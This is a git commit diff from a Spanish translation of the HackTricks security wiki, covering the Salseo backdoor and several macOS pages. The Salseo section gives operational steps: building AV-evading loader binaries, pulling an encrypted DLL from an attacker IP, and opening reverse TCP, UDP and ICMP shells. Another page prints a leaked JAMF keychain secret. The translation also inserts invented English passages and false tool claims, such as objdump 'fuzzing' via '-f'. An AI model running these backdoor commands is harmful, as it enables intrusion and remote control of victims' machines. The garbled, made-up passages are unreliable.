Translated ['backdoors/salseo.md', 'macos-hardening/macos-red-teaming/RE

This commit is contained in:
Translator 2023-08-15 18:30:10 +00:00
parent d67424b84c
commit 67f846e069
27 changed files with 660 additions and 308 deletions

Binary file not shown.

After

Width:  |  Height:  |  Size: 447 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 447 KiB

After

Width:  |  Height:  |  Size: 16 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 16 KiB

After

Width:  |  Height:  |  Size: 132 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 132 KiB

After

Width:  |  Height:  |  Size: 20 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 76 KiB

After

Width:  |  Height:  |  Size: 90 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 94 KiB

After

Width:  |  Height:  |  Size: 199 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 199 KiB

After

Width:  |  Height:  |  Size: 145 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 145 KiB

After

Width:  |  Height:  |  Size: 1.2 MiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1.2 MiB

After

Width:  |  Height:  |  Size: 100 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 39 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 39 KiB

After

Width:  |  Height:  |  Size: 78 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 78 KiB

After

Width:  |  Height:  |  Size: 38 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 38 KiB

After

Width:  |  Height:  |  Size: 795 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 795 KiB

After

Width:  |  Height:  |  Size: 104 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 104 KiB

After

Width:  |  Height:  |  Size: 18 KiB

View File

@ -5,26 +5,26 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## Compilando los binarios
Descarga el código fuente de Github y compila **EvilSalsa** y **SalseoLoader**. Necesitarás tener instalado **Visual Studio** para compilar el código.
Descarga el código fuente de GitHub y compila **EvilSalsa** y **SalseoLoader**. Necesitarás tener **Visual Studio** instalado para compilar el código.
Compila ambos proyectos para la arquitectura de la máquina Windows donde los vayas a utilizar (si Windows admite x64, compílalos para esa arquitectura).
Puedes **seleccionar la arquitectura** dentro de Visual Studio en la **pestaña "Build"** en **"Platform Target".**
Puedes **seleccionar la arquitectura** dentro de Visual Studio en la pestaña **"Build"** en **"Platform Target".**
(\*\*Si no puedes encontrar estas opciones, presiona en la **pestaña "Project"** y luego en **"\<Nombre del proyecto> Properties"**)
(\*\*Si no encuentras estas opciones, presiona en **"Project Tab"** y luego en **"\<Project Name> Properties"**)
![](<../.gitbook/assets/image (132).png>)
Luego, construye ambos proyectos (Build -> Build Solution) (Dentro de los registros aparecerá la ruta del ejecutable):
Luego, compila ambos proyectos (Build -> Build Solution) (Dentro de los registros aparecerá la ruta del ejecutable):
![](<../.gitbook/assets/image (1) (2) (1) (1) (1).png>)
@ -39,30 +39,68 @@ python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.
```
### Windows
Windows
#### Salseo Backdoor
The Salseo backdoor is a type of malware that allows unauthorized access to a Windows system. It is designed to remain hidden and provide a remote attacker with control over the infected machine. The Salseo backdoor can be used to steal sensitive information, execute commands, and perform various malicious activities.
##### Installation
The Salseo backdoor can be installed on a target system through various methods, including:
1. **Email attachments**: The malware can be delivered as an attachment in a phishing email. When the user opens the attachment, the backdoor is installed silently in the background.
2. **Exploiting vulnerabilities**: The backdoor can exploit vulnerabilities in software or the operating system to gain unauthorized access to the system. This can be done through techniques such as remote code execution or privilege escalation.
3. **Malicious downloads**: The backdoor can be bundled with legitimate-looking software or files that users download from untrusted sources. When the user executes the downloaded file, the backdoor is installed.
##### Functionality
Once installed, the Salseo backdoor provides the attacker with a range of capabilities, including:
1. **Remote access**: The attacker can remotely connect to the infected system and gain full control over it. This allows them to perform actions as if they were physically present on the machine.
2. **Data exfiltration**: The backdoor can be used to steal sensitive information from the infected system, such as login credentials, financial data, or personal files. This information can then be used for malicious purposes or sold on the dark web.
3. **Command execution**: The attacker can execute commands on the infected system, allowing them to perform various actions, such as downloading and executing additional malware, modifying system settings, or launching attacks on other systems.
4. **Persistence**: The Salseo backdoor is designed to maintain persistence on the infected system, ensuring that it remains active even after a system reboot. This allows the attacker to maintain access to the compromised machine for an extended period.
##### Detection and Prevention
Detecting and preventing the Salseo backdoor can be challenging due to its stealthy nature. However, there are some measures that can be taken to mitigate the risk:
1. **Antivirus software**: Keeping antivirus software up to date can help detect and remove known instances of the Salseo backdoor.
2. **Regular system updates**: Installing software updates and patches can help prevent the exploitation of vulnerabilities that the backdoor may use to gain access to the system.
3. **User awareness**: Educating users about the risks of opening suspicious email attachments or downloading files from untrusted sources can help prevent the installation of the backdoor.
4. **Network monitoring**: Monitoring network traffic for suspicious activity can help detect the presence of the backdoor and alert administrators to take appropriate action.
By taking these preventive measures, the risk of falling victim to the Salseo backdoor can be significantly reduced.
```
EncrypterAssembly.exe <FILE> <PASSWORD> <OUTPUT_FILE>
EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt
```
Ok, ahora tienes todo lo que necesitas para ejecutar todo el asunto de Salseo: el **EvilDalsa.dll codificado** y el **binario de SalseoLoader.**
Ok, ahora tienes todo lo que necesitas para ejecutar todo el asunto de Salseo: el **EvilDalsa.dll codificado** y el **binario de SalseoLoader**.
**Sube el binario SalseoLoader.exe a la máquina. No deberían ser detectados por ningún AV...**
**Sube el binario SalseoLoader.exe a la máquina. No deberían ser detectados por ningún antivirus...**
## **Ejecutar la puerta trasera**
### **Obtener una shell inversa TCP (descargando el dll codificado a través de HTTP)**
Recuerda iniciar un nc como oyente de la shell inversa y un servidor HTTP para servir el evilsalsa codificado.
Recuerda iniciar un nc como el oyente de la shell inversa y un servidor HTTP para servir el evilsalsa codificado.
```
SalseoLoader.exe password http://<Attacker-IP>/evilsalsa.dll.txt reversetcp <Attacker-IP> <Port>
```
### **Obteniendo una shell inversa UDP (descargando un dll codificado a través de SMB)**
Recuerda iniciar un nc como oyente de la shell inversa, y un servidor SMB para servir el archivo evilsalsa codificado (impacket-smbserver).
Recuerda iniciar un nc como el oyente de la shell inversa, y un servidor SMB para servir el evilsalsa codificado (impacket-smbserver).
```
SalseoLoader.exe password \\<Attacker-IP>/folder/evilsalsa.dll.txt reverseudp <Attacker-IP> <Port>
```
### **Obteniendo una shell inversa ICMP (dll codificada ya dentro de la víctima)**
### **Obteniendo una shell inversa ICMP (dll codificada ya presente en la víctima)**
**Esta vez necesitarás una herramienta especial en el cliente para recibir la shell inversa. Descarga:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)
@ -74,24 +112,40 @@ sysctl -w net.ipv4.icmp_echo_ignore_all=1
sysctl -w net.ipv4.icmp_echo_ignore_all=0
```
#### Ejecutar el cliente:
To execute the client, follow these steps:
1. Open a terminal window.
2. Navigate to the directory where the client is located.
3. Run the client executable file by typing the following command:
```
./client
```
This will start the client and establish a connection with the server.
4. If prompted, enter the necessary credentials or configuration settings.
Once the client is successfully executed, it will be ready to communicate with the server and perform the desired actions.
```
python icmpsh_m.py "<Attacker-IP>" "<Victm-IP>"
```
#### Dentro de la víctima, ejecutemos la cosa salseo:
#### Dentro de la víctima, vamos a ejecutar el salseo:
```
SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <Attacker-IP>
```
## Compilando SalseoLoader como DLL exportando función principal
## Compilando SalseoLoader como DLL exportando la función principal
Abre el proyecto SalseoLoader usando Visual Studio.
### Agrega antes de la función principal: \[DllExport]
![](<../.gitbook/assets/image (2) (1) (1) (1).png>)
![](<../.gitbook/assets/image (2) (1) (1) (1) (1).png>)
### Instala DllExport para este proyecto
#### **Herramientas** --> **Administrador de paquetes NuGet** --> **Administrar paquetes NuGet para la solución...**
#### **Herramientas** --> **Gestor de paquetes NuGet** --> **Administrar paquetes NuGet para la solución...**
![](<../.gitbook/assets/image (3) (1) (1) (1) (1).png>)
@ -99,11 +153,11 @@ Abre el proyecto SalseoLoader usando Visual Studio.
![](<../.gitbook/assets/image (4) (1) (1) (1) (1).png>)
En la carpeta de tu proyecto aparecerán los archivos: **DllExport.bat** y **DllExport\_Configure.bat**
En la carpeta de tu proyecto han aparecido los archivos: **DllExport.bat** y **DllExport\_Configure.bat**
### **D**esinstala DllExport
Presiona **Desinstalar** (sí, es extraño, pero confía en mí, es necesario)
Presiona **Desinstalar** (sí, es extraño pero confía en mí, es necesario)
![](<../.gitbook/assets/image (5) (1) (1) (2) (1).png>)
@ -111,13 +165,13 @@ Presiona **Desinstalar** (sí, es extraño, pero confía en mí, es necesario)
Simplemente **sal** de Visual Studio
Luego, ve a tu carpeta de **SalseoLoader** y **ejecuta DllExport\_Configure.bat**
Luego, ve a tu carpeta **SalseoLoader** y **ejecuta DllExport\_Configure.bat**
Selecciona **x64** (si lo vas a usar dentro de una caja x64, ese fue mi caso), selecciona **System.Runtime.InteropServices** (dentro de **Namespace para DllExport**) y presiona **Aplicar**
Selecciona **x64** (si lo vas a usar en una máquina x64, ese fue mi caso), selecciona **System.Runtime.InteropServices** (dentro de **Namespace para DllExport**) y presiona **Aplicar**
![](<../.gitbook/assets/image (7) (1) (1) (1).png>)
### **Abre el proyecto de nuevo con Visual Studio**
### **Abre el proyecto nuevamente con Visual Studio**
**\[DllExport]** ya no debería estar marcado como error
@ -145,9 +199,9 @@ rundll32.exe SalseoLoader.dll,main
```
Si no aparece ningún error, ¡probablemente tienes una DLL funcional!
## Obtener una shell usando la DLL
## Obtén una shell usando la DLL
No olvides usar un **servidor HTTP** y configurar un **escucha nc**
No olvides usar un **servidor** **HTTP** y configurar un **escucha nc**
### Powershell
```
@ -160,7 +214,19 @@ rundll32.exe SalseoLoader.dll,main
```
### CMD
CMD (Command Prompt) es una herramienta de línea de comandos en sistemas operativos Windows que permite a los usuarios interactuar con el sistema operativo mediante comandos. Los comandos CMD pueden ser utilizados para realizar diversas tareas, como la gestión de archivos y directorios, la configuración de redes, la ejecución de programas y la solución de problemas de sistema. Los hackers pueden utilizar CMD para ejecutar comandos maliciosos y crear backdoors en sistemas comprometidos.
CMD (Command Prompt) is a command-line interpreter in Windows operating systems. It provides a text-based interface for executing commands and managing the system. CMD can be used to perform various tasks, such as navigating through directories, running programs, and managing files and processes.
CMD is a powerful tool for hackers as it allows them to execute commands and scripts on a target system. By gaining access to CMD, hackers can perform a wide range of activities, including reconnaissance, privilege escalation, and data exfiltration.
To exploit CMD, hackers often use backdoors to gain persistent access to a compromised system. A backdoor is a hidden entry point that allows unauthorized access to a system. By installing a backdoor on a target system, hackers can maintain access even if the system is patched or the user's password is changed.
There are several ways to create a backdoor in CMD. One common method is to use the "netsh" command to create a persistent backdoor. The "netsh" command is a powerful tool that allows users to configure network settings. By using the "netsh" command, hackers can create a backdoor that listens for incoming connections and provides them with remote access to the compromised system.
Another method is to use the "reg" command to create a backdoor in the Windows Registry. The Windows Registry is a hierarchical database that stores configuration settings and options for the operating system. By modifying the Registry, hackers can create a backdoor that is executed every time the system starts up, providing them with persistent access to the compromised system.
Once a backdoor is installed, hackers can use CMD to execute commands and scripts on the compromised system. They can also use CMD to upload and download files, manipulate processes, and perform other malicious activities.
To protect against CMD-based attacks, it is important to regularly update and patch your operating system. It is also recommended to use strong passwords and enable multi-factor authentication to prevent unauthorized access to your system. Additionally, monitoring network traffic and using intrusion detection systems can help detect and mitigate CMD-based attacks.
```
set pass=password
set payload=http://10.2.0.5/evilsalsax64.dll.txt
@ -174,9 +240,9 @@ rundll32.exe SalseoLoader.dll,main
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live).
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View File

@ -53,14 +53,14 @@ Además, después de encontrar las credenciales adecuadas, podrías ser capaz de
#### Autenticación de dispositivos de JAMF
<figure><img src="../../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
El binario **`jamf`** contenía el secreto para abrir el llavero que en el momento del descubrimiento era **compartido** entre todos y era: **`jk23ucnq91jfu9aj`**.\
Además, jamf **persiste** como un **LaunchDaemon** en **`/Library/LaunchAgents/com.jamf.management.agent.plist`**
#### Toma de control de dispositivos de JAMF
La **URL** de **JSS** (Jamf Software Server) que **`jamf`** utilizará se encuentra en **`/Library/Preferences/com.jamfsoftware.jamf.plist`**. \
La URL del **JSS** (Jamf Software Server) que **`jamf`** utilizará se encuentra en **`/Library/Preferences/com.jamfsoftware.jamf.plist`**. \
Este archivo básicamente contiene la URL:
{% code overflow="wrap" %}
@ -118,7 +118,7 @@ Y también sobre los **protocolos de red** **"especiales"** de **MacOS**:
## Active Directory
En algunas ocasiones te encontrarás con que el **ordenador MacOS está conectado a un AD**. En este escenario, debes intentar **enumerar** el directorio activo como estás acostumbrado. Encuentra **ayuda** en las siguientes páginas:
En algunas ocasiones te encontrarás con que la **computadora MacOS está conectada a un AD**. En este escenario, debes intentar **enumerar** el directorio activo como estás acostumbrado. Encuentra **ayuda** en las siguientes páginas:
{% content-ref url="../../network-services-pentesting/pentesting-ldap.md" %}
[pentesting-ldap.md](../../network-services-pentesting/pentesting-ldap.md)
@ -140,7 +140,7 @@ También hay algunas herramientas preparadas para MacOS para enumerar automátic
* [**Machound**](https://github.com/XMCyber/MacHound): MacHound es una extensión de la herramienta de auditoría Bloodhound que permite recopilar e ingestar relaciones de Active Directory en hosts de MacOS.
* [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrost es un proyecto Objective-C diseñado para interactuar con las API de Heimdal krb5 en macOS. El objetivo del proyecto es permitir pruebas de seguridad más efectivas en torno a Kerberos en dispositivos macOS utilizando API nativas sin requerir ningún otro marco o paquete en el objetivo.
* [**Orchard**](https://github.com/its-a-feature/Orchard): Herramienta de JavaScript para Automatización (JXA) para enumeración de Active Directory.
* [**Orchard**](https://github.com/its-a-feature/Orchard): Herramienta de JavaScript para Automatización (JXA) para enumerar Active Directory.
### Información del dominio
```bash

View File

@ -4,17 +4,17 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live).
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Comparte tus trucos de hacking enviando PR a** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **y** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## Información básica
Las extensiones de kernel (Kexts) son **paquetes** con extensión **`.kext`** que se **cargan directamente en el espacio del kernel** de macOS, proporcionando funcionalidades adicionales al sistema operativo central.
Las extensiones de kernel (Kexts) son **paquetes** con extensión **`.kext`** que se **cargan directamente en el espacio del kernel** de macOS, proporcionando funcionalidades adicionales al sistema operativo principal.
### Requisitos
@ -22,23 +22,30 @@ Obviamente, esto es tan poderoso que es complicado cargar una extensión de kern
* Al entrar en **modo de recuperación**, las extensiones de kernel deben estar **permitidas para ser cargadas**:
<figure><img src="../../../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
* La extensión de kernel debe estar **firmada con un certificado de firma de código de kernel**, que solo puede ser otorgado por **Apple**. Quien revisará en detalle la **empresa** y las **razones** por las que se necesita.
* La extensión de kernel también debe estar **notarizada**, Apple podrá verificarla en busca de malware.
* Luego, el **usuario root** es el que puede cargar la extensión y los archivos dentro del paquete deben pertenecer a root.
* Finalmente, al intentar cargarla, el [**usuario recibirá una solicitud de confirmación**](https://developer.apple.com/library/archive/technotes/tn2459/\_index.html) y, si se acepta, la computadora debe **reiniciarse** para cargarla.
* Luego, el **usuario root** es el que puede cargar la extensión de kernel y los archivos dentro del paquete deben pertenecer a root.
* Durante el proceso de carga, el paquete debe ser preparado en una ubicación protegida sin raíz: `/Library/StagedExtensions` (requiere la concesión `com.apple.rootless.storage.KernelExtensionManagement`)
* Finalmente, al intentar cargarlo, el [**usuario recibirá una solicitud de confirmación**](https://developer.apple.com/library/archive/technotes/tn2459/\_index.html) y, si se acepta, la computadora debe **reiniciarse** para cargarlo.
### Proceso de carga
En Catalina era así: Es interesante destacar que el proceso de **verificación** ocurre en **userland**. Sin embargo, solo las aplicaciones con la concesión **`com.apple.private.security.kext-management`** pueden **solicitar al kernel** que **cargue una extensión:** kextcache, kextload, kextutil, kextd, syspolicyd
1. **`kextutil`** cli **inicia** el proceso de verificación para cargar una extensión
* Se comunicará con **`kextd`** enviando un servicio Mach
2. **`kextd`** verificará varias cosas, como la firma
* Se comunicará con **`syspolicyd`** para verificar si se puede cargar la extensión
* Hablará con **`kextd`** enviando usando un servicio Mach
2. **`kextd`** comprobará varias cosas, como la firma
* Hablará con **`syspolicyd`** para comprobar si se puede cargar la extensión
3. **`syspolicyd`** **preguntará** al **usuario** si la extensión no se ha cargado previamente
* **`syspolicyd`** indicará el resultado a **`kextd`**
* **`syspolicyd`** indicará el resultado a **`kextd`**
4. **`kextd`** finalmente podrá indicar al **kernel que cargue la extensión**
Si kextd no está disponible, kextutil puede realizar las mismas comprobaciones.
@ -46,3 +53,16 @@ Si kextd no está disponible, kextutil puede realizar las mismas comprobaciones.
## Referencias
* [https://www.makeuseof.com/how-to-enable-third-party-kernel-extensions-apple-silicon-mac/](https://www.makeuseof.com/how-to-enable-third-party-kernel-extensions-apple-silicon-mac/)
* [https://www.youtube.com/watch?v=hGKOskSiaQo](https://www.youtube.com/watch?v=hGKOskSiaQo)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live).
* **Share your hacking tricks by sending a PR to** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View File

@ -1,4 +1,4 @@
# Aplicaciones de macOS - Inspección, depuración y Fuzzing
# macOS Apps - Inspección, depuración y Fuzzing
<details>
@ -7,8 +7,8 @@
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
@ -21,7 +21,49 @@ otool -tv /bin/ps #Decompile application
```
### objdump
objdump es una herramienta de línea de comandos que se utiliza para inspeccionar archivos binarios y de objeto. Puede mostrar información detallada sobre los archivos, como los encabezados de sección, los símbolos y las instrucciones de ensamblaje. También se puede utilizar para desensamblar archivos y analizar su contenido.
El comando `objdump` es una herramienta de línea de comandos que se utiliza para inspeccionar archivos binarios y objetos en sistemas operativos macOS. Proporciona información detallada sobre el contenido y la estructura interna de los archivos, como los símbolos, las secciones y las instrucciones de ensamblador.
#### Uso básico
El siguiente comando muestra el contenido de un archivo binario:
```bash
objdump -d archivo_binario
```
Esto mostrará el código ensamblador del archivo, junto con información sobre los símbolos y las secciones.
#### Inspección de símbolos
El comando `objdump` también se puede utilizar para inspeccionar los símbolos presentes en un archivo binario. Puede mostrar una lista de todos los símbolos definidos en el archivo utilizando el siguiente comando:
```bash
objdump -t archivo_binario
```
Esto mostrará una lista de símbolos junto con su dirección y tipo.
#### Depuración de archivos binarios
`objdump` también se puede utilizar para depurar archivos binarios. Puede mostrar información de depuración, como los puntos de interrupción y los registros de depuración, utilizando el siguiente comando:
```bash
objdump -g archivo_binario
```
Esto mostrará información detallada sobre los puntos de interrupción y los registros de depuración presentes en el archivo.
#### Fuzzing de archivos binarios
El comando `objdump` también se puede utilizar para realizar fuzzing en archivos binarios. Puede generar archivos de entrada aleatorios y utilizarlos como entrada para el archivo binario utilizando el siguiente comando:
```bash
objdump -f archivo_binario
```
Esto generará archivos de entrada aleatorios y los utilizará como entrada para el archivo binario, lo que puede ayudar a identificar vulnerabilidades y errores en el archivo.
En resumen, `objdump` es una herramienta útil para inspeccionar, depurar y realizar fuzzing en archivos binarios en sistemas operativos macOS. Proporciona información detallada sobre los símbolos, las secciones y las instrucciones de ensamblador, lo que puede ser útil para identificar vulnerabilidades y errores en los archivos.
```bash
objdump -m --dylibs-used /bin/ls #List dynamically linked libraries
objdump -m -h /bin/ls # Get headers information
@ -31,7 +73,7 @@ objdump -d /bin/ls # Dissasemble the binary
```
### jtool2
La herramienta puede ser utilizada como un **reemplazo** para **codesign**, **otool** y **objdump**, y proporciona algunas características adicionales.
Esta herramienta se puede utilizar como un **reemplazo** para **codesign**, **otool** y **objdump**, y ofrece algunas características adicionales.
```bash
# Install
brew install --cask jtool2
@ -46,9 +88,17 @@ jtool2 -D /bin/ls # Decompile binary
ARCH=x86_64 jtool2 --sig /System/Applications/Automator.app/Contents/MacOS/Automator
```
### Codesign
### Firma de código
Codesign es una herramienta de línea de comandos que se utiliza para firmar digitalmente archivos en macOS. La firma digital proporciona una forma de verificar la integridad y autenticidad de los archivos. Los desarrolladores de software utilizan codesign para firmar sus aplicaciones antes de distribuirlas a los usuarios finales. Los administradores de sistemas también pueden utilizar codesign para verificar la autenticidad de las aplicaciones instaladas en sus sistemas.
